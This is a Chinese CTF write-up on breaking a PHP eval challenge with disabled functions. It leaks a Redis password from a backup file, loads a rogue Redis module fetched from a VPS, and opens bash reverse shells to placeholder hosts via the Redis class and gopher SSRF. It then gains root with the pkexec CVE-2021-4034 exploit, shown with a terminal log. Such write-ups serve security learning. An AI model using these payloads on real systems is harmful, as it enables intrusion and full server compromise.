1NDEX
0x00 前言
比赛时候外出 回来复现了
只有4个人出 看来是挺难
贴一下源码
就知道没那么简单
<?php highlight_file(__FILE__); @eval($_GET['exp']);?>
0x01 brain.md
一开始试了几个发现都被ban了
连phpinfo都用不了…
扩展新函数
ini_get_all
-
(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)
ini_get_all — 获取所有配置选项
说明 ¶ ini_get_all(string $extension = ?, bool $details = true): array
获取所有已注册的配置选项
get_cfg_var
-
(PHP 4, PHP 5, PHP 7, PHP 8)
get_cfg_var — 获取 PHP 配置选项的值
说明 get_cfg_var(string $option): mixed 获取 PHP 配置选项 option 的值。
此函数不会返回 PHP 编译的配置信息,或从 Apache 配置文件读取。
检查系统是否使用了一个配置文件,并尝试获取 cfg_file_path 的配置设置的值。 如果有效,将会使用一个配置文件。
dump出来 or var_dump(get_cfg_var(xxx))
太长就不贴了 我们需要注意的部分有disable_function、disable_class、open_basedir
disable_function
[“disable_functions”]=> array(3) { [“global_value”]=> string(816) “include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var” [“local_value”]=> string(816) “include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var” [“access”]=> int(4) }
可以看到大多数都被ban了 好消息是file_put_contents还在
这也解释了为什么蚁剑虽然能连接上写的webshell,但虚拟终端无法执行命令
并且不能直接用蚁剑写文件(判断蚁剑用shell操作的函数都被ban了
但连接后凑巧看到了当前目录(exp和1都是后来自己写的)
想到rdb应该是突破口了
down下来 redis数据备份文件
猜测ye_w4nt_a_gir1fri3nd其为密码
REDIS0008� redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� � aof-preamble� � � sercetye_w4nt_a_gir1fri3nd��nR�K��S
然后就需要探测redis服务端口了
学习赵总WMCTF的wp
WMCTF2021-Web-Make PHP Great Again And Again WriteUp
探测服务端开放端口
http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn:81/?exp=eval($_POST[a]);
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
或者
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
注:使用接口调试插件或base64编码进行传输,避免换行符等在参数传输时出错!!
stream_socket_server
(PHP 5, PHP 7, PHP 8)
stream_socket_server — Create an Internet or Unix domain server socket
说明 ¶
stream_socket_server(
string $address,
int &$error_code = null,
string &$error_message = null,
int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,
?resource $context = null
): resource|false
Creates a stream or datagram socket on the specified address.
This function only creates a socket, to begin accepting connections use stream_socket_accept().
EG:
<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
fclose($conn);
}
fclose($socket);
}
?>
从而知晓redis端口8888
get_loaded_extensions()
返回所有编译并加载模块名的 array
var_dump出来看到有redis(redis.so)
redis module load rce
https://xz.aliyun.com/t/5665#toc-16
先用file_put_contents写入恶意so文件
https://github.com/n0b0dyCN/redis-rogue-server
远程down文件尽量使用py
import requests
url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://xxx(vps)/exp.so"
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
file_put_contents("exp.so",$result);
}
Curl("''' + pay + '''");
'''.strip()
data = {
0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)
CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
然后两种姿势module load 反弹shell
官方wp直接通过redis类执行命令
Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作
$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");
利用gopher ssrf
import requests
from urllib import parse
url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}
pay="""auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/vps_ip/7777 0>&1"'
quit
""".replace('\n','\r\n')
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result;
}
}
Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");
'''
data = {
0:payload
}
r = requests.post(url,data=data,headers=headers).text
print(r)
拿到shell后发现无权限
suid提权 --> pkexec提权
https://github.com/arthepsy/CVE-2021-4034.git
www-data@out:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
www-data@out:~/html$
www-data@out:~/html$ wget
wget
bash: wget: command not found
www-data@out:~/html$ curl xxx:888/cve-2021-4034-poc -o ./poc
curl xxx:888/cve-2021-4034-poc -o ./poc
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16296 100 16296 0 0 274k 0 --:--:-- --:--:-- --:--:-- 279k
www-data@out:~/html$ ls
ls
exp.so
index.php
poc
secret.rdb
www-data@out:~/html$ ./poc
./poc
bash: ./poc: Permission denied
www-data@out:~/html$ chmod +x ./poc
chmod +x ./poc
www-data@out:~/html$ ./poc
./poc
whoami
root
cat /flag
flag{5c08372f-6b1c-4c31-97ff-2d5721369f49}
参考文章
https://blog.csdn.net/jvkyvly/article/details/122913401